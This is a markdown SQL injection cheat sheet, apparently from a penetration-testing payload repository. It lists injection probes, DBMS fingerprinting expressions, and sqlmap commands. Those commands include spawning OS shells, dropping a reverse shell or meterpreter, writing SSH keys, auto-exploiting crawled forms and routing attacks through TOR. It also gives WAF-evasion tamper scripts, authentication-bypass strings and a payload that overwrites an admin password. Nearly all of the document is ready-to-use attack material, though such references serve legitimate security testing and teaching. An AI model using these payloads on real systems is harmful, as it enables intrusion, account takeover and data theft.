# SQL injection > A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. Attempting to manipulate SQL queries may have goals including: - Information Leakage - Disclosure of stored data - Manipulation of stored data - Bypassing authorisation controls ## Summary * [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md) * [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) * [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md) * [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) * [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) * [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md) * [Entry point detection](#entry-point-detection) * [DBMS Identification](#dbms-identification) * [SQL injection using SQLmap](#sql-injection-using-sqlmap) * [Basic arguments for SQLmap](#basic-arguments-for-sqlmap) * [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent) * [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie) * [Second order injection](#second-order-injection) * [Shell](#shell) * [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit) * [Using TOR with SQLmap](#using-tor-with-sqlmap) * [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap) * [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy) * [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection) * [General tamper option and tamper's list](#general-tamper-option-and-tampers-list) * [Authentication bypass](#authentication-bypass) * [Polyglot injection](#polyglot-injection-multicontext) * [Routed injection](#routed-injection) * [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update) * [WAF Bypass](#waf-bypass) ## Entry point detection Detection of an SQL injection entry point Simple characters ```sql ' %27 " %22 # %23 ; %3B ) Wildcard (*) ' # required for XML content ``` Multiple encoding ```sql %%2727 %25%27 ``` Merging characters ```sql `+HERP '||'DERP '+'herp ' 'DERP '%20'HERP '%2B'HERP ``` Logic Testing ```sql page.asp?id=1 or 1=1 -- true page.asp?id=1' or 1=1 -- true page.asp?id=1" or 1=1 -- true page.asp?id=1 and 1=2 -- false ``` Weird characters ```sql Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') ``` ## DBMS Identification ```c ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` ## SQL injection using SQLmap ### Basic arguments for SQLmap ```powershell sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs ``` ### Load a request file and use mobile user-agent ```powershell sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1 ``` ### Custom injection in UserAgent/Header/Referer/Cookie ```powershell python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*" The injection is located at the '*' ``` ### Second order injection ```powershell python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` ### Shell ```powershell SQL Shell python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn SSH Shell by dropping an SSH key python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ ``` ### Crawl a website with SQLmap and auto-exploit ```powershell sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### Using TOR with SQLmap ```powershell sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5 ``` ### Using a proxy with SQLmap ```powershell sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080" ``` ### Using Chrome cookie and a Proxy ```powershell sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3 ``` ### Using suffix to tamper the injection ```powershell python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### General tamper option and tamper's list ```powershell tamper=name_of_the_tamper ``` | Tamper | Description | | --- | --- | |0x2char.py | Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart | |apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | |apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart| |appendnullbyte.py | Appends encoded NULL byte character at the end of payload | |base64encode.py | Base64 all characters in a given payload | |between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | |bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | |chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | |charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) | |charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) | |charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) | |commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'| |commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'| |commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() | |concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'| |charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | |charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | |equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | |escapequotes.py | Slash escape quotes (' and ") | |greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | |halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | |htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ') | |ifnull2casewhenisnull.py | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart| |ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'| |informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier | |least.py | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart | |lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) | |modsecurityversioned.py | Embraces complete query with versioned comment | |modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | |multiplespaces.py | Adds multiple spaces around SQL keywords | |nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters| |overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | |overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) | |percentage.py | Adds a percentage sign ('%') infront of each character | |plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart | |plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart | |randomcase.py | Replaces each keyword character with random case value | |randomcomments.py | Add random comments to SQL keywords| |securesphere.py | Appends special crafted string | |sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | |space2comment.py | Replaces space character (' ') with comments | |space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | |space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | |space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | |space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | |space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | |space2plus.py | Replaces space character (' ') with plus ('+') | |space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) | |unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | |unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | |uppercase.py | Replaces each keyword character with upper case value 'INSERT'| |varnish.py | Append a HTTP header 'X-originating-IP' | |versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | |versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | |xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'| ## Authentication bypass ```sql '-' ' ' '&' '^' '*' ' or 1=1 limit 1 -- -+ '="or' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' '-||0' "-||0" "-" " " "&" "^" "*" '--' "--" '--' / "--" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 2 like 2 or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' -- - admin' # admin'/* admin' or '2' LIKE '1 admin' or 2 LIKE 2-- admin' or 2 LIKE 2# admin') or 2 LIKE 2# admin') or 2 LIKE 2-- admin') or ('2' LIKE '2 admin') or ('2' LIKE '2'# admin') or ('2' LIKE '2'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 ``` ## Authentication Bypass (Raw MD5) When a raw md5 is used, the pass will be queried as a simple string, not a hexstring. ```php "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING` ```php md5("ffifdyop", true) = 'or'6�]��!r,��b ``` Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772) ## Polyglot injection (multicontext) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## Routed injection ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` ## Insert Statement - ON DUPLICATE KEY UPDATE ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: ```sql Inject using payload: attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- The query would look like this: INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input"); This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”. Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty". After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! ``` ## WAF Bypass No Space (%20) - bypass using whitespace alternatives ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` No Whitespace - bypass using comments ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` No Whitespace - bypass using parenthesis ```sql ?id=(1)and(1)=(1)-- ``` No Comma - bypass using OFFSET, FROM and JOIN ```sql LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` No Equal - bypass using LIKE/NOT IN/IN/BETWEEN ```sql ?id=1 and substring(version(),1,1)like(5) ?id=1 and substring(version(),1,1)not in(4,3) ?id=1 and substring(version(),1,1)in(4,3) ?id=1 and substring(version(),1,1) between 3 and 4 ``` Blacklist using keywords - bypass using uppercase/lowercase ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` Blacklist using keywords case insensitive - bypass using an equivalent operator ```sql AND -> && OR -> || = -> LIKE,REGEXP, BETWEEN, not < and not > > X -> not between 0 and X WHERE -> HAVING ``` Information_schema.tables Alternative ```sql select * from mysql.innodb_table_stats; +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ | dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 | | dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 | ... +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ mysql> show tables in dvwa; +----------------+ | Tables_in_dvwa | +----------------+ | guestbook | | users | +----------------+ ``` Version Alternative ```sql mysql> select @@innodb_version; +------------------+ | @@innodb_version | +------------------+ | 5.6.31 | +------------------+ mysql> select @@version; +-------------------------+ | @@version | +-------------------------+ | 5.6.31-0ubuntu0.15.10.1 | +-------------------------+ mysql> mysql> select version(); +-------------------------+ | version() | +-------------------------+ | 5.6.31-0ubuntu0.15.10.1 | +-------------------------+ ``` ## References * Detect SQLi * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/) * MySQL: * [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) * [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/) * [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/) * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection) * MSSQL: * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php) * [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) * ORACLE: * [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) * POSTGRESQL: * [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) * Others * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) * [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) * [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet) * [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) * [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet) * [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) * [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/) * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html) * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/) * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * Second Order: * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/) * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/) * Sqlmap: * [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)